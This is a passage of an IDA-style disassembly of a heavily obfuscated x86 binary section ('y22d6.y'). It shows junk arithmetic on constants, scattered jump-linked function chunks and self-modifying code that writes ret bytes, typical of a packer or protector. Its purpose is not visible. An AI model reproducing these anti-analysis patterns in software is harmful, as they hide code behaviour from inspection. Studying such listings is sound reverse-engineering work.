; ---------------------------------------------------------------------------

locret_44AA8C:				; CODE XREF: y22d6.y.:loc_44DF29j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_44AA8D:				; CODE XREF: sub_44A359+6j
		jmp	loc_439EF9
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438F17

loc_44AA92:				; CODE XREF: sub_438F17+F6C8j
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_438F17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44AA97:				; CODE XREF: sub_44B489:loc_43FF81j
		pop	edx
		xor	edx, 0D5695F80h
		add	edx, 1AA1DF23h
		or	edx, 0DC45EC90h
		add	edx, 33437473h
		xor	edx, 4ECECA06h
		jmp	loc_438833
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_44AABB:				; CODE XREF: sub_43E037:loc_44D26Dj
		mov	eax, [esp+0]
		push	edx
		call	sub_44A413
		push	offset sub_43BDD3
		jmp	loc_43C7AA
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44AACE:				; CODE XREF: sub_448EB6-4593j
		add	eax, 0B029A83h
		mov	ebp, 4095A1EFh
		jmp	loc_438621
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB7

loc_44AADE:				; CODE XREF: sub_44CDB7-B497j
		jo	loc_43CD40
		sub	al, 99h
		call	sub_43ED4E
; END OF FUNCTION CHUNK	FOR sub_44CDB7
; START	OF FUNCTION CHUNK FOR sub_445C50

loc_44AAEB:				; CODE XREF: sub_445C50-3B34j
		mov	eax, [esp+0]
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_445C50
; ---------------------------------------------------------------------------

loc_44AAF4:				; CODE XREF: y22d6.y.:loc_43AADFj
		xor	eax, 6A9A8C7Bh
		add	eax, 0ADA22368h
		xor	eax, 4A70CD9Fh
		ror	eax, 16h
		mov	edx, [esp]
		jmp	loc_43B7FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_44AB11:				; CODE XREF: sub_43CA1A+215Cj
		js	loc_44CD85
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_44AB17:				; CODE XREF: sub_43CA1A:loc_441FFFj
					; sub_44BBBA:loc_44A499j
		jnb	loc_43AA86
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_44A9DF
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_44B966
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_44AB35:				; CODE XREF: sub_4431CD-5597j
		sub	ecx, 0EBC4692Dh
		mov	ecx, 4D90384h

loc_44AB40:				; CODE XREF: sub_43D5BB:loc_44D898j
		xor	ebx, 23271FE2h
		rol	ebx, 1Bh
		add	ebx, 8ED01668h
		call	sub_44850D

loc_44AB54:				; CODE XREF: y22d6.y.:0044B510j
		jmp	loc_442502
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44AB59:				; CODE XREF: sub_4432B8:loc_4474A8j
					; y22d6.y.:004474B8j
		add	esi, 98AD90B9h
		add	esi, ebp
		add	esi, 0FBE64364h
		mov	[esi], eax
		pop	esi
		jmp	loc_44E149
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44AB6F:				; CODE XREF: sub_44AEDA-C51Ej
					; sub_44AEDA-6DEBj
		mov	eax, [ebp-24h]
		mov	eax, [eax+4]
		push	ebx
		jmp	loc_43CE99
; END OF FUNCTION CHUNK	FOR sub_44AEDA

; =============== S U B	R O U T	I N E =======================================



sub_44AB7B	proc near		; CODE XREF: sub_43946E+B53p
					; y22d6.y.:00446131j

; FUNCTION CHUNK AT 00442308 SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		nop
		mov	eax, 23829242h
		push	ecx
		jmp	loc_442308
sub_44AB7B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442266

loc_44AB8B:				; CODE XREF: sub_442266:loc_43DE80j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-4], 4
		jnz	loc_44ABA1
		add	[ebp+var_8], 4
		jmp	loc_440B36
; ---------------------------------------------------------------------------

loc_44ABA1:				; CODE XREF: sub_442266+892Cj
		add	[ebp+var_8], 2
		jmp	loc_43DE89
; END OF FUNCTION CHUNK	FOR sub_442266

; =============== S U B	R O U T	I N E =======================================



sub_44ABAA	proc near		; CODE XREF: y22d6.y.:loc_44960Ep
					; sub_44CB3F-3518p

; FUNCTION CHUNK AT 004400AF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440488 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_440488
sub_44ABAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44ABB0	proc near		; CODE XREF: y22d6.y.:0043EA78p
					; y22d6.y.:0043FE18j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044A57F SIZE 0000000C BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	ebx
		jmp	loc_44A57F
sub_44ABB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44ABBE:				; CODE XREF: sub_44271A+736Cj
		jz	loc_447B95
		jmp	loc_43FBA3
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44ABC9	proc near		; CODE XREF: y22d6.y.:00437C16p
					; sub_43CBF3+134Fj ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx

loc_44ABCD:				; CODE XREF: y22d6.y.:loc_438BE6j
		mov	[ebp+var_4], eax
		push	offset loc_4493B0
		jmp	nullsub_159
sub_44ABC9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B39

loc_44ABDA:				; CODE XREF: sub_438B39+9j
					; sub_437B43+4FBBj ...
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_438B39

; =============== S U B	R O U T	I N E =======================================



sub_44ABDD	proc near		; CODE XREF: y22d6.y.:loc_442F17j
					; sub_4449FA:loc_44394Aj ...

; FUNCTION CHUNK AT 004395A5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043A419 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC0F SIZE 00000005 BYTES

		push	ecx
		jmp	loc_43FC0F
sub_44ABDD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44ABE3:				; CODE XREF: sub_4432B8+11CBj
		cmp	edi, 88330571h
		jmp	loc_442326
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_44ABF4:				; CODE XREF: sub_446F34-BB55j
					; sub_447896:loc_44658Ej ...
		jnz	loc_44ADB0
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_4463CE
		push	0DB331DB7h
		pop	eax
		jmp	loc_441D67
; END OF FUNCTION CHUNK	FOR sub_446F34

; =============== S U B	R O U T	I N E =======================================



sub_44AC0F	proc near		; CODE XREF: y22d6.y.:004425ABj
					; y22d6.y.:00448894j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004390B3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043C4BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B56 SIZE 00000005 BYTES

		xchg	eax, [esp+0]

loc_44AC12:				; CODE XREF: y22d6.y.:loc_43A1B6j
		pop	eax
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		push	edi
		jmp	loc_442B56
sub_44AC0F	endp

; ---------------------------------------------------------------------------
		adc	ebp, esi
		jmp	loc_446FE4
; ---------------------------------------------------------------------------

loc_44AC26:				; CODE XREF: y22d6.y.:0043B331j
		shl	edi, 13h
		add	edi, 3AA6B45Ah
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_44AC2F:				; CODE XREF: sub_44B81B:loc_43B323j
		add	eax, 0DAF79D32h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44AC3D:				; CODE XREF: sub_43B09B+568Dj
		jge	loc_4441F7
; END OF FUNCTION CHUNK	FOR sub_43B09B
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44AC43:				; CODE XREF: sub_437B43+5641j
		jmp	loc_43A1D3
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
		add	esi, eax
		test	ebx, edi
		jmp	loc_437F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_44AC51:				; CODE XREF: sub_44C980+E8Bj
		call	sub_44AC0F

loc_44AC56:				; CODE XREF: y22d6.y.:004416EEj
		jmp	loc_44CA07
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------

loc_44AC5B:				; CODE XREF: y22d6.y.:0043BB41j
		jo	loc_4473CB

; =============== S U B	R O U T	I N E =======================================



sub_44AC61	proc near		; CODE XREF: y22d6.y.:0044CAC9p

; FUNCTION CHUNK AT 004377D1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41E0F4, eax
		lea	eax, loc_4450EC
		mov	byte ptr [eax],	0C3h
		jmp	loc_4377D1
sub_44AC61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43946E

loc_44AC79:				; CODE XREF: sub_43946E:loc_439FB7j
		call	sub_448C36

loc_44AC7E:				; CODE XREF: sub_444541+90A9j
		jmp	sub_442C0C
; END OF FUNCTION CHUNK	FOR sub_43946E
; ---------------------------------------------------------------------------

loc_44AC83:				; CODE XREF: y22d6.y.:00438A62j
		jmp	loc_445FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44AC88:				; CODE XREF: sub_44B489-FFDj
		jz	loc_44A44D
		jmp	loc_447091
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44AC93:				; CODE XREF: sub_44271A:loc_43D76Aj
		ja	loc_446EE0
		jmp	loc_445A5A
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_44AC9E:				; CODE XREF: sub_438A94:loc_4473DBj
		xchg	eax, [esp+4+var_4]
		push	esi
		push	16DDB0D8h
		pop	esi
		or	esi, 9AFE53DFh
		sub	esi, 0ABB96D78h
		add	esi, 0CFDACBCh

loc_44ACBA:				; CODE XREF: y22d6.y.:loc_438856j
		xchg	esi, [esp+8+var_8]
		jmp	loc_44E631
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
		jno	loc_440404
		jmp	loc_44A4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_44ACCD:				; CODE XREF: sub_43CBF3:loc_43D74Bj
		rol	ebx, 11h
		xor	ebx, 0E7174E67h
		cmp	ebx, 93254629h
		jmp	loc_438F6E
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------
		mov	[esi], eax
		jmp	sub_43A1FA
; ---------------------------------------------------------------------------

loc_44ACE8:				; CODE XREF: y22d6.y.:004412A3j
		add	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_44ACEA	proc near		; CODE XREF: sub_43B7B5:loc_4425C6p

; FUNCTION CHUNK AT 004431ED SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	edx, 26C9847Bh
		jmp	loc_4431ED
sub_44ACEA	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44ACFA:				; CODE XREF: sub_44633F-4B74j
		jmp	sub_43A148
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_44ACFF:				; CODE XREF: sub_43BEF7+10844j
		jns	loc_447E52
		rol	ebx, 9

loc_44AD08:				; CODE XREF: sub_43BEF7:loc_439247j
		mov	eax, [ebp-18h]
		add	eax, 0F1D5D62Ah
		add	eax, 0E2A29FAh
		jmp	loc_447C63
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44AD1C:				; CODE XREF: sub_43B7B5:loc_43E004j
		sub	eax, 0DA75D391h
		jmp	loc_44CBDB
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A735

loc_44AD27:				; CODE XREF: sub_43A735:loc_438D59j
		sub	eax, 3E32BC7Dh
		xor	eax, 0F93D8841h
		cmp	eax, 37AD12D8h
		jmp	loc_43D2A5
; END OF FUNCTION CHUNK	FOR sub_43A735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44AD3E:				; CODE XREF: sub_44633F-7495j
		adc	edi, 2FA1937Ah
; END OF FUNCTION CHUNK	FOR sub_44633F
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_44AD44:				; CODE XREF: sub_43E86C:loc_44B25Aj
		jmp	loc_4422D0
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44AD49:				; CODE XREF: sub_44633F:loc_445801j
		push	edx
		push	766D4DD0h
		pop	edx
		and	edx, 0EF399566h
		jmp	loc_43DEB4
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_44AD5B:				; CODE XREF: y22d6.y.:00443D88j
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		or	ecx, 0FD2ED8CCh
		add	ecx, 3890FFF0h
		jmp	loc_44327D
; ---------------------------------------------------------------------------

loc_44AD72:				; DATA XREF: y22d6.y.:00443929o
		mov	byte ptr [eax],	0C3h
		jmp	loc_44DC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_44AD7A:				; CODE XREF: sub_44D3B1+1j
		mov	eax, [esp+0]
		push	edx
		push	edi
		jmp	loc_44091E
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------

loc_44AD84:				; CODE XREF: y22d6.y.:loc_44B590j
		pop	eax
		or	ebx, 85503606h
		and	ebx, 3937F99Ch
		add	ebx, 0C7125A4Fh
		xchg	ebx, [esp]
		jmp	nullsub_340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_44AD9F:				; CODE XREF: sub_446F34:loc_43E384j
		mov	[edi], eax
		pop	edi
		lea	eax, loc_44ABF4
		mov	byte ptr [eax],	0C3h
		jmp	loc_44658E
; ---------------------------------------------------------------------------

loc_44ADB0:				; CODE XREF: sub_446F34:loc_44ABF4j
		pop	edx
		jmp	loc_43EF62
; END OF FUNCTION CHUNK	FOR sub_446F34
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_344. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	esp
		mov	dh, 0D6h
		stosb
		pop	eax
		xor	eax, 35336F2Bh
		sub	eax, 51FCDBE2h
		test	eax, 1
		jmp	loc_43BED3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_44ADD3:				; CODE XREF: sub_43BEF7+21j
		jg	loc_4409B9

loc_44ADD9:				; CODE XREF: sub_43BEF7:loc_43BF0Cj
		and	ecx, 0D1DEDE13h
		add	ecx, 7E4F8D9Bh
		rol	ecx, 1Bh
		add	ecx, 46C43A6Bh
		xor	eax, ecx
		pop	ecx
		jmp	loc_4426B0
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
		mov	ds:off_41E0BC, eax
		lea	eax, sub_44D73B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44AE0A:				; CODE XREF: sub_448EB6:loc_43EE10j
		mov	eax, [esp-8+arg_4]
		push	eax
		mov	eax, edx
		jmp	loc_4484AD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44AE15:				; DATA XREF: sub_445A15-9E4Fo
		ror	eax, 1Bh
		add	eax, 73BBA472h
		ror	eax, 2
		mov	edx, [esp]
		push	eax
		mov	eax, edx
		call	sub_44C758
		mov	eax, [esp]
		jmp	loc_445B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44AE34:				; CODE XREF: sub_44271A-730Bj
		pop	esi
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		pop	ebp
		jmp	loc_43BCED
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		push	ebx
		push	0E0B0B2ACh
		pop	ebx
		rol	ebx, 1Eh
		and	ebx, 93CEB3B6h
		push	offset loc_4483EE
		jmp	loc_43764D
; ---------------------------------------------------------------------------
		xor	ebx, edx
		sbb	edi, ebx
		jmp	sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_44AE64:				; CODE XREF: sub_449C1B:loc_43B152j
		jnz	loc_44E3ED
		jmp	loc_44E49A
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44AE6F:				; CODE XREF: sub_44AA69:loc_44D42Cj
		push	offset loc_43CA8A

loc_44AE74:				; CODE XREF: y22d6.y.:loc_43C4C8j
		jmp	loc_44AA87
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_44AE79:				; CODE XREF: sub_43AD2F+5027j
		xor	eax, 0F5F238F9h
		or	eax, 9E5CA79Bh
		add	eax, 61C558A5h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_449B53
		jmp	loc_44940F
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------

locret_44AE9A:				; CODE XREF: y22d6.y.:004472A5j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_44AE9B:				; CODE XREF: sub_43FFE2-17F4j
		jmp	loc_4439B5
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_44AEA0:				; CODE XREF: sub_43E185-2EE6j
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_43E185

; =============== S U B	R O U T	I N E =======================================



sub_44AEA5	proc near		; CODE XREF: sub_43A148+768Cp
					; y22d6.y.:00448D2Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004486C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF48 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		push	358A9CBCh
		xchg	ebp, [esp+4+var_4]
		jmp	loc_4486C6
sub_44AEA5	endp

; ---------------------------------------------------------------------------
		push	offset sub_44E05B
		jmp	locret_449C6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_44AEC1:				; CODE XREF: sub_440395:loc_44C481j
		jz	loc_445740
		jmp	loc_442C7D
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441619

loc_44AECC:				; CODE XREF: sub_441619+390Dj
		lea	eax, sub_440CE6
		mov	byte ptr [eax],	0C3h
		jmp	loc_447EAA
; END OF FUNCTION CHUNK	FOR sub_441619

; =============== S U B	R O U T	I N E =======================================



sub_44AEDA	proc near		; CODE XREF: sub_40158F+16Cp
					; y22d6.y.:004475C1j
					; DATA XREF: ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A44 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00437EFB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00438BCA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00438E93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043974C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00439842 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439D12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A4D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A640 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043BB66 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C098 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043CBCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DBFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DFDD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043E9AF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043F041 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043FCEF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043FE8E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440FF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441999 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044219A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00442894 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443693 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004440D8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004446F0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00445EF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447388 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004476C8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00447777 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044871F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00449915 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB6F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B3A4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044BF3B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C8A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE57 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D574 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DDA0 SIZE 00000023 BYTES

		push	esi
		push	4DD1C537h
		add	esi, 8D312D07h
		jmp	loc_437EFB
sub_44AEDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_44AEEB:				; CODE XREF: sub_43837F+27E1j
		mov	[ebp-1Ch], eax
		jo	loc_43B311
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_43C41B
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44AEFF:				; CODE XREF: sub_4475B3-7136j
		mov	eax, 64A3F24h
		call	sub_444581
		push	offset loc_4386BE
		jmp	nullsub_260
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
		or	ecx, eax
		test	ecx, ebx
		jmp	loc_43A1B6
; ---------------------------------------------------------------------------
		cmp	eax, esi
		jmp	loc_43FF15
; ---------------------------------------------------------------------------

loc_44AF23:				; DATA XREF: y22d6.y.:0044E6ACo
		push	8C763B41h
		pop	edi
		or	edi, 2D9D740Ah
		and	edi, 3E30192Ch
		or	edi, 29F0147h
		xor	edi, 4F977E69h
		jmp	loc_43F2E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_44AF46:				; CODE XREF: sub_441F08-9EDDj
		or	ebx, 0E1BB583Fh
		jns	loc_43A8B4
		rol	ecx, 18h
		jo	loc_43AEBD

loc_44AF5B:				; CODE XREF: sub_441F08-9EE9j
		xor	eax, 0D71AA0FBh
		jmp	loc_444F65
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44AF66:				; CODE XREF: sub_4385ED:loc_43E8F5j
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_4385ED
		mov	eax, 26F528F2h
		push	esi
		call	sub_446F1F

loc_44AF7E:				; CODE XREF: sub_442E1F-5FDCj
		jmp	loc_440E64
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------

loc_44AF83:				; CODE XREF: y22d6.y.:00440591j
		jnz	loc_443AE2
		jnb	loc_44840F
		jmp	sub_4481BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5EE

loc_44AF94:				; CODE XREF: sub_43C5EE:loc_44D4BCj
		rol	ecx, 15h
		call	sub_44DB3E
; END OF FUNCTION CHUNK	FOR sub_43C5EE
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_44AF9C:				; CODE XREF: sub_43CC1A+7283j
		jmp	sub_44B003
; END OF FUNCTION CHUNK	FOR sub_43CC1A

; =============== S U B	R O U T	I N E =======================================



sub_44AFA1	proc near		; CODE XREF: sub_44845Aj
					; DATA XREF: sub_44928B-E3Bo

; FUNCTION CHUNK AT 00438993 SIZE 00000005 BYTES

		push	0DA962C1Eh
		pop	esi
		add	esi, 8D303404h
		sub	esi, 465BF717h

loc_44AFB3:				; CODE XREF: y22d6.y.:00445522j
		add	esi, 5963EA4Fh
		xor	esi, 83D8299Ch
		push	offset loc_439CCA
		jmp	loc_438993
sub_44AFA1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44AFC9:				; CODE XREF: sub_4450FD:loc_442D60j
		test	eax, 51608DA5h
		jmp	loc_44C0C3
; END OF FUNCTION CHUNK	FOR sub_4450FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44AFD5:				; CODE XREF: y22d6.y.:0043FEF8j
		jmp	loc_44D65D
; ---------------------------------------------------------------------------

locret_44AFDA:				; CODE XREF: y22d6.y.:0044A73Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_44AFDB:				; CODE XREF: sub_44066C+C4FCj
		jmp	loc_4470DC
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------

loc_44AFE0:				; CODE XREF: y22d6.y.:00439123j
		test	ebp, ecx
		jmp	loc_443E56
; ---------------------------------------------------------------------------

loc_44AFE7:				; DATA XREF: sub_4392B0:loc_44C7A8o
		sub	al, 99h
		mov	edx, ds:dword_441954
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_44A30C
		jmp	loc_442B4A
; ---------------------------------------------------------------------------
		jmp	loc_44A30C

; =============== S U B	R O U T	I N E =======================================



sub_44B003	proc near		; CODE XREF: sub_43FFE2-72B2p
					; sub_443EF1p ...
		mov	edx, 1
		lock xchg edx, [eax]
		jmp	loc_43E482
sub_44B003	endp

; ---------------------------------------------------------------------------

loc_44B010:				; CODE XREF: y22d6.y.:00441CB9j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_44B011	proc near		; CODE XREF: sub_43E185:loc_43858Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B6B7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ebx, 5DFCE803h
		mov	[ebx], eax
		xchg	edi, [esp-4+arg_0]
		jmp	loc_43B6B7
sub_44B011	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_44A9DF
		or	eax, eax
		jnz	loc_448EAC
		jmp	loc_43BE14
; ---------------------------------------------------------------------------

loc_44B037:				; CODE XREF: y22d6.y.:00442EB5j
		jno	loc_4395D7
		and	eax, 7E1207B5h
		jmp	sub_4382FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44B048:				; CODE XREF: sub_448EB6:loc_43ADFFj
					; sub_448EB6-3B59j
		or	ecx, 7D1D80BBh
		xor	ecx, 10FE5BC3h
		add	ecx, 12E0EB09h
